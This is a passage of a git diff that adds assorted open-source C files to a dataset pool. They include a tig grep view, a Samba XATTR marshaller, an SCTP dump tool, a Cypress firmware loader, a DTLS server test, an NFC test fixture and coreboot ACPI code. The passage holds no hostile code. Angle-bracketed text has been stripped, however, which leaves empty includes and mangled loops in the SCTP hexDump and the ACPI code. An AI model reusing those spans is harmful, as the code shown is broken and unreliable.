grep_line *grep; + char *lineno, *text; + struct line *line; + const char *file; + size_t textlen; + + if (!buf) { + state->last_file = NULL; + if (!view->lines) { + view->ref[0] = 0; + report("No matches found"); + } + return true; + } + + if (!strcmp(buf->data, "--")) + return add_line_nodata(view, LINE_DELIMITER) != NULL; + + lineno = io_memchr(buf, buf->data, 0); + text = io_memchr(buf, lineno, 0); + + /* + * No data indicates binary file matches, e.g.: + * > git grep vertical- -- test + * test/graph/20-tig-all-long-test:● │ Add "auto" vertical-split + * Binary file test/graph/20-tig-all-long-test.in matches + */ + if (!lineno || !text) + return true; + + textlen = strlen(text); + + file = get_path(buf->data); + if (!file) + return false; + + if (!state->no_file_group && file != state->last_file && + !add_line_text(view, file, LINE_FILE)) + return false; + + line = add_line_alloc(view, &grep, LINE_DEFAULT, textlen, false); + if (!line) + return false; + + grep->file = file; + grep->lineno = atoi(lineno); + if (grep->lineno > 0) + grep->lineno -= 1; + strncpy(grep->text, text, textlen); + grep->text[textlen] = 0; + view_column_info_update(view, line); + + state->last_file = file; + + return true; +} + +static struct view_ops grep_ops = { + "line", + "", + VIEW_REFRESH | VIEW_GREP_LIKE, + sizeof(struct grep_state), + grep_open, + grep_read, + view_column_draw, + grep_request, + view_column_grep, + grep_select, + NULL, + view_column_bit(FILE_NAME) | view_column_bit(LINE_NUMBER) | + view_column_bit(TEXT), + grep_get_column_data, +}; + +DEFINE_VIEW(grep); + +/* vim: set ts=8 sw=8 noexpandtab: */ diff --git a/pool/shard011/C/0141788_main.c b/pool/shard011/C/0141788_main.c new file mode 100644 index 0000000000000000000000000000000000000000..b713a8c40d7cad0dd47a88f1d2234ad4268f453a --- /dev/null +++ b/pool/shard011/C/0141788_main.c @@ -0,0 +1,59 @@ +#include "e8core/variant/variant.h" +#include + +static void +test_clustered_list() +{ + + struct { + E8_CLUSTERED_LIST(int) + } list; + + e8_clustered_list_init(&list, sizeof(int)); + + int TEST_SIZE = 200; + + printf("Append: "); + + int i; + for (i = 0; i < TEST_SIZE; ++i) { + void *a; + e8_clustered_list_append(&list, &a); + (*(int*)a) = i; + } + + printf("Ok\n"); + fflush(stdout); + + struct { + E8_COLLECTION(int) + } coll; + + printf("Dump: "); + + e8_clustered_list_dump(&list, &coll); + e8_clustered_list_free(&list); + + + if (coll.size != TEST_SIZE) { + printf("Failed\n"); + return; + } + + for (i = 0; i < TEST_SIZE; ++i) { + if (coll.data[i] != i) { + printf("Failed\n"); + return; + } + } + e8_collection_free(&coll); + + printf("Ok\n"); + +} + +int main() +{ + test_clustered_list(); + return 0; +} diff --git a/pool/shard011/C/0141789_ndr_xattr.c b/pool/shard011/C/0141789_ndr_xattr.c new file mode 100644 index 0000000000000000000000000000000000000000..930f5106122d3834290460bfe93755afaa818327 --- /dev/null +++ b/pool/shard011/C/0141789_ndr_xattr.c @@ -0,0 +1,148 @@ +/* + Unix SMB/CIFS implementation. + + helper routines for XATTR marshalling + + Copyright (C) Stefan (metze) Metzmacher 2009 + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include "includes.h" +#include "librpc/gen_ndr/ndr_xattr.h" + +static char *ndr_compat_xattr_attrib_hex(TALLOC_CTX *mem_ctx, + const struct xattr_DOSATTRIB *r) +{ + char *attrib_hex = NULL; + + switch (r->version) { + case 0xFFFF: + attrib_hex = talloc_asprintf(mem_ctx, "0x%x", + r->info.compatinfoFFFF.attrib); + break; + case 1: + attrib_hex = talloc_asprintf(mem_ctx, "0x%x", + r->info.info1.attrib); + break; + case 2: + attrib_hex = talloc_asprintf(mem_ctx, "0x%x", + r->info.oldinfo2.attrib); + break; + case 3: + if (!(r->info.info3.valid_flags & XATTR_DOSINFO_ATTRIB)) { + attrib_hex = talloc_strdup(mem_ctx, ""); + break; + } + attrib_hex = talloc_asprintf(mem_ctx, "0x%x", + r->info.info3.attrib); + break; + default: + attrib_hex = talloc_strdup(mem_ctx, ""); + break; + } + + return attrib_hex; +} + +_PUBLIC_ enum ndr_err_code ndr_push_xattr_DOSATTRIB(struct ndr_push *ndr, + int ndr_flags, + const struct xattr_DOSATTRIB *r) +{ + if (ndr_flags & NDR_SCALARS) { + char *attrib_hex = NULL; + + attrib_hex = ndr_compat_xattr_attrib_hex(ndr, r); + NDR_ERR_HAVE_NO_MEMORY(attrib_hex); + + NDR_CHECK(ndr_push_align(ndr, 4)); + { + uint32_t _flags_save_string = ndr->flags; + ndr_set_flags(&ndr->flags, LIBNDR_FLAG_STR_ASCII|LIBNDR_FLAG_STR_NULLTERM); + NDR_CHECK(ndr_push_string(ndr, NDR_SCALARS, attrib_hex)); + ndr->flags = _flags_save_string; + } + if (r->version == 0xFFFF) { + return NDR_ERR_SUCCESS; + } + NDR_CHECK(ndr_push_uint16(ndr, NDR_SCALARS, r->version)); + NDR_CHECK(ndr_push_set_switch_value(ndr, &r->info, r->version)); + NDR_CHECK(ndr_push_xattr_DosInfo(ndr, NDR_SCALARS, &r->info)); + } + if (ndr_flags & NDR_BUFFERS) { + } + return NDR_ERR_SUCCESS; +} + +_PUBLIC_ enum ndr_err_code ndr_pull_xattr_DOSATTRIB(struct ndr_pull *ndr, int ndr_flags, struct xattr_DOSATTRIB *r) +{ + if (ndr_flags & NDR_SCALARS) { + NDR_CHECK(ndr_pull_align(ndr, 4)); + { + uint32_t _flags_save_string = ndr->flags; + ndr_set_flags(&ndr->flags, LIBNDR_FLAG_STR_ASCII|LIBNDR_FLAG_STR_NULLTERM); + NDR_CHECK(ndr_pull_string(ndr, NDR_SCALARS, &r->attrib_hex)); + ndr->flags = _flags_save_string; + } + if (ndr->offset >= ndr->data_size) { + unsigned int dosattr; + int ret; + + if (r->attrib_hex[0] != '0') { + + } + if (r->attrib_hex[1] != 'x') { + + } + ret = sscanf(r->attrib_hex, "%x", &dosattr); + if (ret != 1) { + } + r->version = 0xFFFF; + r->info.compatinfoFFFF.attrib = dosattr; + return NDR_ERR_SUCCESS; + } + NDR_CHECK(ndr_pull_uint16(ndr, NDR_SCALARS, &r->version)); + if (r->version == 0xFFFF) { + return ndr_pull_error(ndr, NDR_ERR_BAD_SWITCH, + "ndr_pull_xattr_DOSATTRIB: " + "invalid level 0x%02X", + r->version); + } + NDR_CHECK(ndr_pull_set_switch_value(ndr, &r->info, r->version)); + NDR_CHECK(ndr_pull_xattr_DosInfo(ndr, NDR_SCALARS, &r->info)); + } + if (ndr_flags & NDR_BUFFERS) { + } + return NDR_ERR_SUCCESS; +} + +_PUBLIC_ void ndr_print_xattr_DOSATTRIB(struct ndr_print *ndr, const char *name, const struct xattr_DOSATTRIB *r) +{ + char *attrib_hex; + + ndr_print_struct(ndr, name, "xattr_DOSATTRIB"); + ndr->depth++; + + if (ndr->flags & LIBNDR_PRINT_SET_VALUES) { + attrib_hex = ndr_compat_xattr_attrib_hex(ndr, r); + } else { + attrib_hex = talloc_strdup(ndr, r->attrib_hex); + } + ndr_print_string(ndr, "attrib_hex", attrib_hex); + + ndr_print_uint16(ndr, "version", r->version); + ndr_print_set_switch_value(ndr, &r->info, r->version); + ndr_print_xattr_DosInfo(ndr, "info", &r->info); + ndr->depth--; +} diff --git a/pool/shard011/C/0141790_sctp_read_file.c b/pool/shard011/C/0141790_sctp_read_file.c new file mode 100644 index 0000000000000000000000000000000000000000..03f1dedf246405120f1b28845f7d81ee123a3096 --- /dev/null +++ b/pool/shard011/C/0141790_sctp_read_file.c @@ -0,0 +1,134 @@ +/* $KAME: sctp_sys_calls.c,v 1.9 2004/08/17 06:08:53 itojun Exp $ */ + +/* + * Copyright (C) 2002, 2003, 2004 Cisco Systems Inc, + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the project nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +static void +hexDump(void *vdb, int sz) +{ + int i,j, prn; + unsigned char str[20]; + char *db; + db = (unsigned char *)vdb; + + for(i=0, j=0; i= '!') && + (db[i] <= 'z')) { + str[j++] = db[i]; + }else { + str[j++] = '.'; + } + if(((i+1) % 16) == 0) { + str[16] = 0; + printf(" %s\n", str); + j = 0; + } + } + if(sz % 16) { + str[j] = 0; + printf(" %s\n", str); + j = 0; + } +} + + +int +main (int argc, char **argv) +{ + FILE *io; + struct sctp_sndrcvinfo *s_info; + struct msghdr msg; + struct iovec iov[2]; + char controlVector[200000]; + char dbuf[200000]; + struct stat sb; + ssize_t sz; + + if(argc < 2) { + printf("Need a file name\n"); + printf("use %s filename\n", argv[0]); + return (0); + } + + if (stat(argv[1], &sb) == -1) { + printf("Error %d can't stat file\n", errno); + return (-1); + } + io = fopen(argv[1], "r"); + if(io == NULL) { + printf("Gak, can't write control file failed to open errno:%d\n", errno); + goto out_of_here; + } + if(fread((void *)&msg, sizeof(msg), 1, io) != 1) { + printf("Error can't read msg err:%d\n",errno); + goto out_of_here_close; + } + printf("Read the msg vector\n"); + printf("msg_name %x len:%d flags:%x\n", + (u_int)msg.msg_name, msg.msg_namelen, + msg.msg_flags); + printf("msg_iovlen:%d\n", msg.msg_iovlen); + printf("msg_controllen:%d\n", msg.msg_controllen); + printf("msg_flags:%x\n", msg.msg_flags); + sz = sb.st_size - (sizeof(msg) + msg.msg_controllen); + printf("Data left over is %d\n", sz); + if(fread(controlVector, msg.msg_controllen, 1, io) != 1) { + printf("Error can't read control data err:%d\n",errno); + goto out_of_here_close; + } + printf("---------Control-----------------\n"); + hexDump(controlVector, msg.msg_controllen); + if(fread(dbuf, sz, 1, io) != 1) { + printf("Error can't read data err:%d\n",errno); + } + printf("---------Data-----------------\n"); + hexDump(dbuf, sz); + out_of_here_close: + fclose(io); + out_of_here: + return(0); +} diff --git a/pool/shard011/C/0141791_cypress_firmware.c b/pool/shard011/C/0141791_cypress_firmware.c new file mode 100644 index 0000000000000000000000000000000000000000..577e82058fdc9e268bf1268651a6402f7f7de9ca --- /dev/null +++ b/pool/shard011/C/0141791_cypress_firmware.c @@ -0,0 +1,132 @@ +/* cypress_firmware.c is part of the DVB USB library. + * + * Copyright (C) 2004-6 Patrick Boettcher (patrick.boettcher@desy.de) + * see dvb-usb-init.c for copyright information. + * + * This file contains functions for downloading the firmware to Cypress FX 1 + * and 2 based devices. + * + */ + +#include +#include +#include +#include +#include "cypress_firmware.h" + +struct usb_cypress_controller { + u8 id; + const char *name; /* name of the usb controller */ + u16 cs_reg; /* needs to be restarted, + * when the firmware has been downloaded */ +}; + +static const struct usb_cypress_controller cypress[] = { + { .id = CYPRESS_AN2135, .name = "Cypress AN2135", .cs_reg = 0x7f92 }, + { .id = CYPRESS_AN2235, .name = "Cypress AN2235", .cs_reg = 0x7f92 }, + { .id = CYPRESS_FX2, .name = "Cypress FX2", .cs_reg = 0xe600 }, +}; + +/* + * load a firmware packet to the device + */ +static int usb_cypress_writemem(struct usb_device *udev, u16 addr, u8 *data, + u8 len) +{ + return usb_control_msg(udev, usb_sndctrlpipe(udev, 0), + 0xa0, USB_TYPE_VENDOR, addr, 0x00, data, len, 5000); +} + +static int cypress_get_hexline(const struct firmware *fw, + struct hexline *hx, int *pos) +{ + u8 *b = (u8 *) &fw->data[*pos]; + int data_offs = 4; + + if (*pos >= fw->size) + return 0; + + memset(hx, 0, sizeof(struct hexline)); + hx->len = b[0]; + + if ((*pos + hx->len + 4) >= fw->size) + return -EINVAL; + + hx->addr = b[1] | (b[2] << 8); + hx->type = b[3]; + + if (hx->type == 0x04) { + /* b[4] and b[5] are the Extended linear address record data + * field */ + hx->addr |= (b[4] << 24) | (b[5] << 16); + } + + memcpy(hx->data, &b[data_offs], hx->len); + hx->chk = b[hx->len + data_offs]; + *pos += hx->len + 5; + + return *pos; +} + +int cypress_load_firmware(struct usb_device *udev, + const struct firmware *fw, int type) +{ + struct hexline *hx; + int ret, pos = 0; + + hx = kmalloc(sizeof(struct hexline), GFP_KERNEL); + if (!hx) { + dev_err(&udev->dev, "%s: kmalloc() failed\n", KBUILD_MODNAME); + return -ENOMEM; + } + + /* stop the CPU */ + hx->data[0] = 1; + ret = usb_cypress_writemem(udev, cypress[type].cs_reg, hx->data, 1); + if (ret != 1) { + dev_err(&udev->dev, "%s: CPU stop failed=%d\n", + KBUILD_MODNAME, ret); + ret = -EIO; + goto err_kfree; + } + + /* write firmware to memory */ + for (;;) { + ret = cypress_get_hexline(fw, hx, &pos); + if (ret < 0) + goto err_kfree; + else if (ret == 0) + break; + + ret = usb_cypress_writemem(udev, hx->addr, hx->data, hx->len); + if (ret < 0) { + goto err_kfree; + } else if (ret != hx->len) { + dev_err(&udev->dev, + "%s: error while transferring firmware (transferred size=%d, block size=%d)\n", + KBUILD_MODNAME, ret, hx->len); + ret = -EIO; + goto err_kfree; + } + } + + /* start the CPU */ + hx->data[0] = 0; + ret = usb_cypress_writemem(udev, cypress[type].cs_reg, hx->data, 1); + if (ret != 1) { + dev_err(&udev->dev, "%s: CPU start failed=%d\n", + KBUILD_MODNAME, ret); + ret = -EIO; + goto err_kfree; + } + + ret = 0; +err_kfree: + kfree(hx); + return ret; +} +EXPORT_SYMBOL(cypress_load_firmware); + +MODULE_AUTHOR("Antti Palosaari "); +MODULE_DESCRIPTION("Cypress firmware download"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0141792_dtls-server.c b/pool/shard011/C/0141792_dtls-server.c new file mode 100644 index 0000000000000000000000000000000000000000..4ea67036952d592fcff16406c4b6211ab162249f --- /dev/null +++ b/pool/shard011/C/0141792_dtls-server.c @@ -0,0 +1,230 @@ +/* + * Copyright (C) 2019 HAW Hamburg + * Copyright (C) 2020 Freie Universität Berlin + * + * This file is subject to the terms and conditions of the GNU Lesser + * General Public License v2.1. See the file LICENSE in the top level + * directory for more details. + */ + +/** + * @ingroup tests + * @{ + * + * @file + * @brief DTLS sock server test + * + * @author Aiman Ismail + */ + +#include + +#include "bitfield.h" +#include "event/thread.h" +#include "event/timeout.h" +#include "net/sock/async/event.h" +#include "net/sock/udp.h" +#include "net/sock/dtls.h" +#include "net/sock/util.h" +#include "net/credman.h" +#include "msg.h" +#include "thread.h" +#include "test_utils/expect.h" + +#include "tinydtls_common.h" +#include "tinydtls_keys.h" + +#define SOCK_DTLS_SERVER_TAG (10) +#define READER_QUEUE_SIZE (8U) + +#ifdef CONFIG_DTLS_ECC +static const ecdsa_public_key_t other_pubkeys[] = { + { .x = ecdsa_pub_key_x, .y = ecdsa_pub_key_y }, +}; + +static const credman_credential_t credential = { + .type = CREDMAN_TYPE_ECDSA, + .tag = SOCK_DTLS_SERVER_TAG, + .params = { + .ecdsa = { + .private_key = ecdsa_priv_key, + .public_key = { + .x = ecdsa_pub_key_x, + .y = ecdsa_pub_key_y, + }, + .client_keys = (ecdsa_public_key_t *)other_pubkeys, + .client_keys_size = ARRAY_SIZE(other_pubkeys), + }, + }, +}; +#else /* #ifdef CONFIG_DTLS_PSK */ +static const uint8_t psk_key_0[] = PSK_DEFAULT_KEY; +static const uint8_t psk_id_0[] = PSK_DEFAULT_IDENTITY; + +static const credman_credential_t credential = { + .type = CREDMAN_TYPE_PSK, + .tag = SOCK_DTLS_SERVER_TAG, + .params = { + .psk = { + .key = { .s = psk_key_0, .len = sizeof(psk_key_0) - 1, }, + .id = { .s = psk_id_0, .len = sizeof(psk_id_0) - 1, }, + }, + }, +}; +#endif + +static void _close_handler(event_t *); + +static uint8_t _recv_buf[512]; +static sock_udp_t _udp_sock; +static sock_dtls_t _dtls_sock; +static tinydtls_sock_event_t _close = { + .super.handler = _close_handler, + .sock = &_dtls_sock, +}; +static bool _active = false; + +static void _close_sock(sock_dtls_t *sock) +{ + sock_udp_t *udp_sock = sock_dtls_get_udp_sock(sock); + + sock_dtls_close(sock); + sock_udp_close(udp_sock); + _active = false; + puts("Terminated server"); +} + +static void _close_handler(event_t *ev) +{ + tinydtls_sock_event_t *event = (tinydtls_sock_event_t *)ev; + puts("Terminating server"); + _close_sock(event->sock); +} + +static void _dtls_handler(sock_dtls_t *sock, sock_async_flags_t type, void *arg) +{ + (void)arg; + if (!_active) { + puts("Error: DTLS server is not running"); + return; + } + + sock_dtls_session_t session = { 0 }; + + if (type & SOCK_ASYNC_CONN_RECV) { + expect(!sock_dtls_get_event_session(sock, &session)); + + puts("Session handshake received"); + if (sock_dtls_recv(sock, &session, _recv_buf, sizeof(_recv_buf), + 0) != -SOCK_DTLS_HANDSHAKE) { + puts("Error creating session"); + return; + } + puts("New client connected"); + } + if (type & SOCK_ASYNC_CONN_FIN) { + if (sock_dtls_get_event_session(sock, &session)) { + sock_udp_ep_t ep; + char addrstr[IPV6_ADDR_MAX_STR_LEN]; + uint16_t port; + + sock_dtls_session_get_udp_ep(&session, &ep); + sock_udp_ep_fmt(&ep, addrstr, &port); + printf("Session was destroyed by peer: [%s]:%u\n", addrstr, port); + } else { + puts("A session was destroyed by peer, but the corresponding " \ + "session could not be retrieved from socket"); + } + } + if (type & SOCK_ASYNC_CONN_RDY) { + if (sock_dtls_get_event_session(sock, &session)) { + sock_udp_ep_t ep; + char addrstr[IPV6_ADDR_MAX_STR_LEN]; + uint16_t port; + + sock_dtls_session_get_udp_ep(&session, &ep); + sock_udp_ep_fmt(&ep, addrstr, &port); + printf("Session became ready: [%s]:%u\n", addrstr, port); + } else { + puts("A session became ready, but the corresponding session " \ + "could not be retrieved from the socket"); + } + } + if (type & SOCK_ASYNC_MSG_RECV) { + expect(!sock_dtls_get_event_session(sock, &session)); + ssize_t res; + + res = sock_dtls_recv(sock, &session, _recv_buf, sizeof(_recv_buf), 0); + if (res >= 0) { + printf("Received %d bytes -- (echo)\n", (int)res); + res = sock_dtls_send(sock, &session, _recv_buf, (size_t)res, 0); + if (res < 0) { + printf("Error resending DTLS message: %d\n", (int)res); + } + } + } +} + +static int start_server(void) +{ + /* Only one instance of the server */ + if (_active) { + puts("Error: server already running"); + return 1; + } + + /* Start the server */ + ssize_t res; + + sock_udp_ep_t local = SOCK_IPV6_EP_ANY; + local.port = DTLS_DEFAULT_PORT; + sock_udp_create(&_udp_sock, &local, NULL, 0); + + res = credman_add(&credential); + if (res < 0 && res != CREDMAN_EXIST) { + /* ignore duplicate credentials */ + printf("Error cannot add credential to system: %d\n", (int)res); + return 1; + } + res = sock_dtls_create(&_dtls_sock, &_udp_sock, SOCK_DTLS_SERVER_TAG, + SOCK_DTLS_1_2, SOCK_DTLS_SERVER); + if (res < 0) { + puts("Error creating DTLS sock"); + return 1; + } + _active = true; + + sock_dtls_event_init(&_dtls_sock, EVENT_PRIO_MEDIUM, _dtls_handler, NULL); + return 0; +} + +static int stop_server(void) +{ + /* check if server is running at all */ + if (!_active) { + puts("Error: DTLS server is not running"); + return 1; + } + + event_post(EVENT_PRIO_MEDIUM, &_close.super); + return 0; +} + +int dtls_server_cmd(int argc, char **argv) +{ + if (argc < 2) { + printf("usage: %s start | stop\n", argv[0]); + return 1; + } + if (strcmp(argv[1], "start") == 0) { + return start_server(); + } + else if (strcmp(argv[1], "stop") == 0) { + return stop_server(); + } + else { + printf("Error: invalid command. Usage: %s start | stop\n", argv[0]); + return 1; + } + return 0; +} diff --git a/pool/shard011/C/0141793_mifare_ultralight_fixture.c b/pool/shard011/C/0141793_mifare_ultralight_fixture.c new file mode 100644 index 0000000000000000000000000000000000000000..43b705cfe6ceb9cf3a673b3e69c119a8ab00019e --- /dev/null +++ b/pool/shard011/C/0141793_mifare_ultralight_fixture.c @@ -0,0 +1,87 @@ +/*- + * Copyright (C) 2010, Romain Tartiere + * Copyright (C) 2013, Romuald Conty + * + * This program is free software: you can redistribute it and/or modify it + * under the terms of the GNU Lesser General Public License as published by the + * Free Software Foundation, either version 3 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with this program. If not, see + */ + +#include +#include + +#include "mifare_ultralight_fixture.h" + +static nfc_context *context; +static nfc_device *device = NULL; +static FreefareTag *tags = NULL; +FreefareTag tag = NULL; + +void +cut_setup (void) +{ + int res; + nfc_connstring devices[8]; + size_t device_count; + + nfc_init (&context); + cut_assert_not_null (context, cut_message ("Unable to init libnfc (malloc)")); + + device_count = nfc_list_devices (context, devices, 8); + if (device_count <= 0) + cut_omit ("No device found"); + + for (size_t i = 0; i < device_count; i++) { + + device = nfc_open (context, devices[i]); + if (!device) + cut_omit ("nfc_open() failed."); + + tags = freefare_get_tags (device); + cut_assert_not_null (tags, cut_message ("freefare_get_tags() failed")); + + tag = NULL; + for (int i=0; tags[i]; i++) { + if ((freefare_get_tag_type(tags[i]) == MIFARE_ULTRALIGHT) || + (freefare_get_tag_type(tags[i]) == MIFARE_ULTRALIGHT_C)) { + tag = tags[i]; + res = mifare_ultralight_connect (tag); + cut_assert_equal_int (0, res, cut_message ("mifare_ultralight_connect() failed")); + return; + } + } + nfc_close (device); + device = NULL; + freefare_free_tags (tags); + tags = NULL; + } + + cut_omit ("No MIFARE UltraLight tag on NFC device"); +} + +void +cut_teardown (void) +{ + if (tag) + mifare_ultralight_disconnect (tag); + + if (tags) { + freefare_free_tags (tags); + tags = NULL; + } + + if (device) + nfc_close (device); + + nfc_exit (context); +} + diff --git a/pool/shard011/C/0141794_test.c b/pool/shard011/C/0141794_test.c new file mode 100644 index 0000000000000000000000000000000000000000..6f155b96687744eb303adf9001aa2c7317a83922 --- /dev/null +++ b/pool/shard011/C/0141794_test.c @@ -0,0 +1,68 @@ +// +// Copyright (c) Microsoft. All rights reserved. +// Licensed under the MIT license. See LICENSE file in the project root for full license information. +// + +/*============================================================ +** +** Source: test.c +** +** Purpose: Test for CharNextA, ensures it returns an LPTSTR +** +** +**=========================================================*/ + +/* Depends on strcmp() */ + +#include + +void testString(LPSTR input, LPSTR expected) +{ + + LPTSTR pReturned = NULL; + + pReturned = CharNextA(input); + + /* Compare the Returned String to what it should be */ + if(strcmp(expected,pReturned) != 0) + { + Fail("ERROR: CharNextA Failed: [%s] and [%s] are not equal, " + "they should be after calling CharNextA.\n", + pReturned,expected); + } + + +} + +int __cdecl main(int argc, char *argv[]) +{ + + /* + * Initialize the PAL and return FAILURE if this fails + */ + + if(0 != (PAL_Initialize(argc, argv))) + { + return FAIL; + } + + /* test several Strings */ + testString("this is the string", "his is the string"); + testString("t", ""); + testString("", ""); + testString("a\t", "\t"); + testString("a\a", "\a"); + testString("a\b", "\b"); + testString("a\"", "\""); + testString("a\\", "\\"); + testString("\\", ""); + testString("\f", ""); + testString("\b", ""); + + PAL_Terminate(); + return PASS; +} + + + + diff --git a/pool/shard011/C/0141795_acpi_tables.c b/pool/shard011/C/0141795_acpi_tables.c new file mode 100644 index 0000000000000000000000000000000000000000..95f1eaec51cc8bf004796212cfef871db135f86a --- /dev/null +++ b/pool/shard011/C/0141795_acpi_tables.c @@ -0,0 +1,231 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2010 Advanced Micro Devices, Inc. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "mb_sysconf.h" + +extern const unsigned char AmlCode[]; +extern const unsigned char AmlCode_ssdt[]; + +#if CONFIG_ACPI_SSDTX_NUM >= 1 +extern const unsigned char AmlCode_ssdt2[]; +extern const unsigned char AmlCode_ssdt3[]; +extern const unsigned char AmlCode_ssdt4[]; +extern const unsigned char AmlCode_ssdt5[]; +#endif + +unsigned long acpi_fill_mcfg(unsigned long current) +{ + /* Just a dummy */ + return current; +} + +unsigned long acpi_fill_madt(unsigned long current) +{ + /* create all subtables for processors */ + current = acpi_create_madt_lapics(current); + + /* Write SB700 IOAPIC, only one */ + current += acpi_create_madt_ioapic((acpi_madt_ioapic_t *) current, 2, + IO_APIC_ADDR, 0); + + current += acpi_create_madt_irqoverride((acpi_madt_irqoverride_t *) + current, 0, 0, 2, 0); + current += acpi_create_madt_irqoverride((acpi_madt_irqoverride_t *) + current, 0, 9, 9, 0xF); + /* 0: mean bus 0--->ISA */ + /* 0: PIC 0 */ + /* 2: APIC 2 */ + /* 5 mean: 0101 --> Edige-triggered, Active high */ + + /* create all subtables for processors */ + /* current = acpi_create_madt_lapic_nmis(current, 5, 1); */ + /* 1: LINT1 connect to NMI */ + + return current; +} + +unsigned long write_acpi_tables(unsigned long start) +{ + unsigned long current; + acpi_rsdp_t *rsdp; + acpi_rsdt_t *rsdt; + acpi_hpet_t *hpet; + acpi_madt_t *madt; + acpi_srat_t *srat; + acpi_slit_t *slit; + acpi_fadt_t *fadt; + acpi_facs_t *facs; + acpi_header_t *dsdt; + acpi_header_t *ssdt; +#if CONFIG_ACPI_SSDTX_NUM >= 1 + acpi_header_t *ssdtx; + void *p; + int i; +#endif + + get_bus_conf(); /* it will get sblk, pci1234, hcdn, and sbdn */ + + /* Align ACPI tables to 16 bytes */ + start = ALIGN(start, 16); + current = start; + + printk(BIOS_INFO, "ACPI: Writing ACPI tables at %lx...\n", start); + + /* We need at least an RSDP and an RSDT Table */ + rsdp = (acpi_rsdp_t *) current; + current += sizeof(acpi_rsdp_t); + rsdt = (acpi_rsdt_t *) current; + current += sizeof(acpi_rsdt_t); + + /* clear all table memory */ + memset((void *)start, 0, current - start); + + acpi_write_rsdp(rsdp, rsdt, NULL); + acpi_write_rsdt(rsdt); + + /* + * We explicitly add these tables later on: + */ + current = ALIGN(current, 8); + printk(BIOS_DEBUG, "ACPI: * HPET at %lx\n", current); + hpet = (acpi_hpet_t *) current; + current += sizeof(acpi_hpet_t); + acpi_create_hpet(hpet); + acpi_add_table(rsdp, hpet); + + /* If we want to use HPET Timers Linux wants an MADT */ + current = ALIGN(current, 8); + printk(BIOS_DEBUG, "ACPI: * MADT at %lx\n",current); + madt = (acpi_madt_t *) current; + acpi_create_madt(madt); + current += madt->header.length; + acpi_add_table(rsdp, madt); + + /* SRAT */ + current = ALIGN(current, 8); + printk(BIOS_DEBUG, "ACPI: * SRAT at %lx\n", current); + srat = (acpi_srat_t *) current; + acpi_create_srat(srat); + current += srat->header.length; + acpi_add_table(rsdp, srat); + + /* SLIT */ + current = ALIGN(current, 8); + printk(BIOS_DEBUG, "ACPI: * SLIT at %lx\n", current); + slit = (acpi_slit_t *) current; + acpi_create_slit(slit); + current += slit->header.length; + acpi_add_table(rsdp, slit); + + /* SSDT */ + current = ALIGN(current, 16); + printk(BIOS_DEBUG, "ACPI: * SSDT at %lx\n", current); + ssdt = (acpi_header_t *)current; + memcpy(ssdt, &AmlCode_ssdt, sizeof(acpi_header_t)); + current += ssdt->length; + memcpy(ssdt, &AmlCode_ssdt, ssdt->length); + //Here you need to set value in pci1234, sblk and sbdn in get_bus_conf.c + update_ssdt((void*)ssdt); + /* recalculate checksum */ + ssdt->checksum = 0; + ssdt->checksum = acpi_checksum((unsigned char *)ssdt,ssdt->length); + acpi_add_table(rsdp,ssdt); + + printk(BIOS_DEBUG, "ACPI: * SSDT for PState at %lx\n", current); + current = acpi_add_ssdt_pstates(rsdp, current); + +#if CONFIG_ACPI_SSDTX_NUM >= 1 + + /* same htio, but different position? We may have to copy, + change HCIN, and recalculate the checknum and add_table */ + + for(i=1;ilength; + memcpy(ssdtx, p, ssdtx->length); + update_ssdtx((void *)ssdtx, i); + ssdtx->checksum = 0; + ssdtx->checksum = acpi_checksum((u8 *)ssdtx, ssdtx->length); + acpi_add_table(rsdp, ssdtx); + } +#endif + + /* DSDT */ + current = ALIGN(current, 8); + printk(BIOS_DEBUG, "ACPI: * DSDT at %lx\n", current); + dsdt = (acpi_header_t *)current; // it will 